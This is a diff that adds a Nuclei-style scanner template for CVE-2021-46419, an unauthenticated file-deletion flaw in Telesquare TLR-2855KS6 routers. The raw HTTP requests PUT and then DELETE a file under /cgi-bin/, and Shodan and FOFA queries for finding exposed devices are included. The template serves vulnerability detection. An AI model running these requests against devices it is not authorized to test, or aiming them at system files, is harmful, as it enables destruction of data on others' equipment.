Create CVE-2021-46419.yaml

http/cves/2021/CVE-2021-46419.yaml

@@ -0,0 +1,51 @@
+id: CVE-2021-46419
+
+info:
+  name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
+  author: DhiyaneshDK
+  severity: critical
+  description: |
+    An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2021-46419
+    - http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
+    - https://github.com/ARPSyndicate/cvemon
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
+    cvss-score: 9.1
+    cve-id: CVE-2021-46419
+    epss-score: 0.31802
+    epss-percentile: 0.96898
+    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: telesquare
+    product: tlr-2855ks6_firmware
+    shodan-query: title:"Login to TLR-2855KS6"
+    fofa-query: product=="TELESQUARE-TLR-2855KS6"
+  tags: packetstorm,cve,cve2021,telesquare,intrusive
+
+variables:
+  filename: "{{rand_base(6)}}"
+
+http:
+  - raw:
+      - |
+        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
+        Host: {{Hostname}}
+        DNT: 1
+
+        {{randstr}}
+      - |
+        DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
+        Host: {{Hostname}}
+        DNT: 1
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code_1 == 201 && status_code_2 == 204'
+          - 'contains(server_1, "lighttpd")'
+        condition: and